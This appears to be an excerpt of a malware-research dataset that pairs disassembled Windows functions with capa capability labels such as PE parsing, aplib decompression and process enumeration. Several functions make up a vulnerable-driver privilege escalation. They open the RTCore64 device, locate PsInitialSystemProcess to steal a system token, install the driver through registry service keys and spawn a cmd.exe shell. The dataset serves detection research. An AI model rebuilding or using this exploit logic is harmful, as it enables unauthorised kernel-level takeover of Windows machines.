joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400fda90
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400fda9d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400fdaad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400fda95
lea eax, [rcx + 1]
jmp 0x1400fdabb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400fdace
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400fdab4
sub eax, 3
jb 0x1400fdaee
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400fdb3d
sar eax, 1
movsxd rbp, eax
jb 0x1400fdb24
jmp 0x1400fdafc
add ebx, ebx
jne 0x1400fdafa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400fdb24
inc ecx
add ebx, ebx
jne 0x1400fdb0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400fdb24
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400fdb1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400fdb0c
add ecx, 2
jmp 0x1400fdb29
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400fda52
jmp 0x1400fda9d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xa4c00
mov dl, 0x1c
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400fdb8d
cmp rsi, rcx
jae 0x1400fdb95
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400fdb74
cmp al, 0x8f
ja 0x1400fdb74
cmp byte [rsi - 2], 0xf
je 0x1400fdb7a
sub al, 0xe8
cmp al, 1
ja 0x1400fdb5e
cmp rsi, rcx
jae 0x1400fdb95
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400fdb64
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400fdb95
lodsb al, byte [rsi]
jmp 0x1400fdb74
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xfa000]
mov eax, dword [rdi]
or eax, eax
je 0x1400fdbf2
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1099c8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400fdba2
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400fdbec
mov qword [rbx], rax
add rbx, 8
jmp 0x1400fdbc2
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400fdc2c
cmp al, 0xef
ja 0x1400fdc1e
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400fdbfe
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400fdc0d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x267]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400fdc80
sub rsp, 0xffffffffffffff80
jmp 0x1400504c0
Function at 0x141ea8000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x141ea800a
jmp 0x141eaa00f
jmp fcn.141a7f268
Function at 0x180003410
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov rax, qword gs:[0x60]
mov rbp, rdx
mov r14, rcx
mov rsi, qword [rax + 0x18]
add rsi, 0x10
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1800034b6
movzx ebx, word [rdi + 0x58]
xor eax, eax
shr rbx, 1
je 0x1800034a5
mov r10, qword [rdi + 0x60]
nop dword [rax]
nop dword [rax + rax]
movzx edx, word [r10]
movsx r11d, byte [rax + rbp]
movzx r9d, r11w
lea ecx, [rdx - 0x61]
cmp cx, 0x19
lea r8d, [rdx - 0x20]
lea ecx, [r9 - 0x61]
cmova r8w, dx
cmp cx, 0x19
lea edx, [r9 - 0x20]
cmova dx, r11w
cmp r8w, dx
jne 0x1800034ae
test r11b, r11b
je 0x1800034ae
inc rax
add r10, 2
cmp rax, rbx
jb 0x180003460
mov rax, qword [rdi + 0x30]
mov qword [r14], rax
jmp 0x1800034bd
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x180003445
mov qword [r14], 0
mov rbx, qword [rsp + 0x10]
mov rax, r14
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret

Function at 0x180006550
Capabilities:
Parse pe header

Disassembly:
push rbx
push r13
sub rsp, 0x18
mov r11, qword [rcx]
xor r9d, r9d
mov r13, r8
mov rbx, rdx
test r11, r11
je 0x180006689
mov qword [rsp + 0x30], rbp
mov eax, 0x5a4d
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x10], r12
mov qword [rsp + 8], r14
mov qword [rsp], r15
cmp word [r11], ax
jne 0x18000665e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
cmp dword [rax], 0x4550
cmovne rax, r9
test rax, rax
je 0x18000665e
add rax, 0x18
mov ecx, 0x20b
cmp word [rax], cx
jne 0x18000665e
test rax, rax
je 0x18000665e
cmp dword [rax + 0x6c], r9d
jbe 0x18000665e
lea r14, [rax + 0x70]
test r14, r14
je 0x18000665e
mov r15d, dword [r14]
mov r10d, r9d
mov edi, dword [r11 + r15 + 0x18]
lea rsi, [r11 + r15]
test edi, edi
je 0x18000665e
mov r12d, dword [rsi + 0x20]
nop dword [rax]
mov ebp, r10d
mov r8, r13
lea rax, [r12 + rbp*4]
mov eax, dword [rax + r11]
add rax, r11
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180006627
inc rax
test ecx, ecx
jne 0x180006614
test edx, edx
je 0x180006635
inc r10d
cmp r10d, edi
jb 0x180006600
jmp 0x18000665e
mov ecx, dword [rsi + 0x24]
add rcx, r11
movzx edx, word [rcx + rbp*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov r8d, dword [rcx + rdx*4]
cmp r8d, r15d
jb 0x18000665a
mov eax, r8d
sub eax, r15d
cmp eax, dword [r14 + 4]
jb 0x18000665e
lea r9, [r11 + r8]
mov qword [rbx], r9
mov rax, rbx
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r12, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
add rsp, 0x18
pop r13
pop rbx
ret
mov qword [rdx], r9
mov rax, rbx
add rsp, 0x18
pop r13
pop rbx
ret
Function at 0x180006aa0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r10, qword [rcx]
xor r8d, r8d
test r10, r10
je 0x180006b34
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x180006b17
movsxd rcx, dword [r10 + 0x3c]
add rcx, r10
cmp dword [rcx], 0x4550
cmovne rcx, r8
test rcx, rcx
je 0x180006b17
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
movzx ecx, word [rcx + 6]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8]
cmp rax, r9
je 0x180006b17
test dword [rax + 0x24], 0x40000000
je 0x180006b05
cmp dword [rax], 0x6164722e
jne 0x180006b05
cmp word [rax + 4], 0x6174
je 0x180006b0b
add rax, 0x28
jmp 0x180006ae7
mov ecx, dword [rax + 0xc]
mov r8d, dword [rax + 8]
add rcx, r10
jmp 0x180006b1e
mov qword [rdx + 8], r8
mov rcx, r8
mov eax, 8
mov qword [rdx], rcx
mov r10, rdx
mov r9, rdx
mov qword [rax + rdx], r8
mov rax, rdx
ret
mov qword [rdx], r8
mov rax, rdx
mov qword [rdx + 8], r8
ret
Function at 0x18000b6d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
cmp edx, 1
jne 0x18000b817
cmp qword [0x180012028], rbx
jne 0x18000b817
lea rax, [0x180012468]
mov qword [0x180012468], 0xf4240
mov qword [0x180012030], rax
lea rdx, str.SDL3.dll
lea rax, [0x180012030]
mov qword [0x180012470], rbx
lea rcx, [rsp + 0x68]
mov qword [0x180012028], rax
mov byte [0x180012460], bl
call fcn.180003410
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x18000b7aa
mov edx, 0x5a4d
mov rcx, rax
cmp word [rax], dx
cmovne rcx, rbx
test rcx, rcx
je 0x18000b7aa
movsxd r8, dword [rcx + 0x3c]
add r8, rax
cmp dword [r8], 0x4550
cmovne r8, rbx
test r8, r8
je 0x18000b7aa
movzx edx, word [r8 + 0x14]
movzx ecx, word [r8 + 6]
add rdx, 0x18
add rdx, r8
lea rcx, [rcx + rcx*4]
lea r8, [rdx + rcx*8]
cmp rdx, r8
je 0x18000b7aa
test dword [rdx + 0x24], 0x20000000
je 0x18000b7a1
cmp dword [rdx], 0x7865742e
jne 0x18000b7a1
cmp byte [rdx + 4], 0x74
je 0x18000b838
add rdx, 0x28
cmp rdx, r8
jne 0x18000b786
mov rcx, rbx
mov rax, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x28], rcx
lea rcx, [0x180012038]
mov qword [rsp + 0x20], rax
call fcn.180005340
lea r9, [rsp + 0x20]
mov byte [0x180012460], 0xff
lea r8, [rsp + 0x68]
movzx edx, bl
lea rcx, [0x180012038]
call fcn.180001010
mov rcx, qword [0x180012038]
mov byte [0x180012460], 1
test rcx, rcx
je 0x18000b817
mov rax, qword [rcx]
mov qword [0x180012040], rax
lea rax, [0x18000c0c3]
mov qword [rcx], rax
lea rdx, [0x18000bb34]
lea rcx, section..text
mov rax, rdx
sub rax, rcx
cmp rdx, rcx
cmovb rax, rbx
add rsp, 0x40
pop rbx
ret
mov ecx, dword [rdx + 0xc]
add rcx, rax
mov eax, dword [rdx + 8]
jmp 0x18000b7b0
Function at 0x140011055
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400144f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x468]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x1400291a7]
call fcn.14001150a
mov dword [rbp + 4], 0
xor edx, edx
mov ecx, 2
call fcn.140011230
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x14001456f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_processPIDByName___processPIDByName__0x_08x__n
call fcn.14001103c
xor eax, eax
jmp 0x1400145de
mov dword [rbp + 0x50], 0x238
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.140011307
test eax, eax
jne 0x1400145a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_processPIDByName___processPIDByName__0x_08x__n
call fcn.14001103c
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x440]
lea rcx, [rbp + 0x7c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x1400145c0
mov eax, dword [rbp + 0x58]
mov dword [rbp + 4], eax
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.140011474
test eax, eax
jne 0x1400145a5
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ef30]
call fcn.140011438
mov rax, rdi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.140011244
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret
Function at 0x140011195
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
jmp 0x140013260
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x40]
lea rcx, [0x1400291a7]
call fcn.14001150a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..RTCore64
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400132d0
lea rcx, str.____Unable_to_obtain_a_handle_to_the_device_object
call fcn.1400112ee
jmp 0x140013499
lea rcx, str.___Device_object_handle_has_been_obtained
call fcn.1400112ee
call fcn.140011316
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x28]
lea rcx, str.___Ntoskrnl_base_address:__p
call fcn.1400112ee
lea rcx, [0x14001fb60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x48], rax
lea rdx, str.PsInitialSystemProcess
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rax, qword [rbp + 0x48]
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011177
mov qword [rbp + 0x88], rax
mov rdx, qword [rbp + 0x88]
lea rcx, str.___PsInitialSystemProcess_address:__p
call fcn.1400112ee
mov eax, dword [rbp + 0x220]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x228]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x228]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0xe8]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x228]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011177
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0xa8]
cmp qword [rbp + 0x128], rax
jne 0x1400133f2
jmp 0x140013431
mov rax, qword [rbp + 0x228]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011177
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xc8]
cmp qword [rbp + 0xe8], rax
jne 0x140013397
mov rax, qword [rbp + 0x228]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0xe8]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov rdx, qword [rbp + 0xe8]
lea rcx, str.___Current_process_address:__p
call fcn.1400112ee
mov rax, qword [rbp + 0x228]
mov rax, qword [rax + 0x18]
mov rcx, qword [rbp + 0xe8]
add rcx, rax
mov rax, rcx
xor r9d, r9d
mov r8, rax
mov edx, 4
mov rcx, qword [rbp + 8]
call fcn.1400111ae
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x1400111b8
Capabilities:
Get common file path

Disassembly:
jmp 0x140012c40
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rcx, [0x1400291a7]
call fcn.14001150a
mov qword [rbp + 8], 0
mov ecx, 0x208
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140012c7d
xor eax, eax
jmp 0x140012ccf
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1c
mov rcx, qword [rbp + 8]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140012ccd
lea r8, str.TempRTCore64.sys
mov edx, 0x104
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x28]
jmp 0x140012ccf
xor eax, eax
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011276
Capabilities:
Create process on windows

Disassembly:
jmp 0x140014ab0
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x1400291a7]
call fcn.14001150a
lea rcx, str.___Spawning_new_shell_...
call fcn.1400112ee
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x10], 0x68
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32cmd.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x50]
lea rdx, [0x14001f010]
call fcn.140011438
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.140011244
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x1400112b7
Capabilities:
Set registry value

Disassembly:
jmp 0x140011c10
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7d8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x152
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7f8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x778], rax
lea rcx, [0x1400290b0]
call fcn.14001150a
mov dword [rbp + 0x64], 1
mov dword [rbp + 0x84], 1
mov dword [rbp + 0xa4], 3
mov r9, qword [rbp + 0x7a0]
lea r8, [0x14001e534]
mov rdx, 0xffffffffffffffff
lea rcx, [rbp + 0xf0]
call fcn.1400111ef
mov rax, qword [rbp + 0x7a8]
mov qword [rsp + 0x20], rax
lea r9, str.___
lea r8, str._s_s
mov rdx, 0xffffffffffffffff
lea rcx, [rbp + 0x320]
call fcn.1400111ef
lea rax, [rbp + 0x44]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xf0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rbp + 4], eax
cmp dword [rbp + 0x44], 1
je 0x140011d36
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [rbp + 4]
lea rcx, str.RegCreateKeyEx_failed:_0x_x_n
call fcn.14001103c
mov eax, dword [rbp + 4]
jmp 0x140011e65
lea rcx, [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov qword [rbp + 0xc8], rax
mov eax, dword [rbp + 0xc8]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x320]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140011d9c
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
jmp 0x140011e65
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140011de2
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
jmp 0x140011e65
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140011e28
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
jmp 0x140011e65
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xa4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001e1a0]
call fcn.140011438
mov rax, rdi
mov rcx, qword [rbp + 0x778]
xor rcx, rbp
call fcn.140011244
lea rsp, [rbp + 0x788]
pop rdi
pop rbp
ret
Function at 0x1400112c1
Capabilities:
Terminate process

Disassembly:
jmp 0x140016830
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001136b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017bc0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017be0
xor al, al
jmp 0x140017c61
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017bf3
xor al, al
jmp 0x140017c61
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017c1d
xor al, al
jmp 0x140017c61
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017c31
xor al, al
jmp 0x140017c61
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017c43
xor al, al
jmp 0x140017c61
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140017c5f
xor al, al
jmp 0x140017c61
mov al, 1
add rsp, 0x38
ret
Function at 0x140011424
Capabilities:
Write file on windows

Disassembly:
jmp 0x140013540
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x1400291a7]
call fcn.14001150a
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 8]
mov r8d, 0xa
mov edx, 0x65
xor ecx, ecx
call fcn.14001145b
test eax, eax
jne 0x1400135b3
lea rcx, str.GetResourcePointer_failed_n
call fcn.14001103c
xor eax, eax
jmp 0x1400136b2
call fcn.1400111b8
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x48]
call fcn.1400113a7
test eax, eax
je 0x1400135d2
mov rax, qword [rbp + 0x48]
jmp 0x1400136b2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0xffffffffffffffff
jne 0x140013622
mov rdx, qword [rbp + 0x48]
lea rcx, str.Unable_to_open_file___s__for_write._n
call fcn.14001103c
xor eax, eax
jmp 0x1400136b2
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xa4], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xa4]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140013675
lea rcx, str.Terminal_failure:_Unable_to_write_to_file._n
call fcn.14001103c
jmp 0x1400136a4
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0xa4], eax
je 0x14001368e
lea rcx, str.Error:_dwBytesWritten___dwBytesToWrite_n
call fcn.14001103c
jmp 0x1400136a4
mov r8, qword [rbp + 0x48]
mov edx, dword [rbp + 0xa4]
lea rcx, str.Wrote__d_bytes_to__s_successfully._n
call fcn.14001103c
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x48]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001f2a0]
call fcn.140011438
mov rax, rdi
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.140011244
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret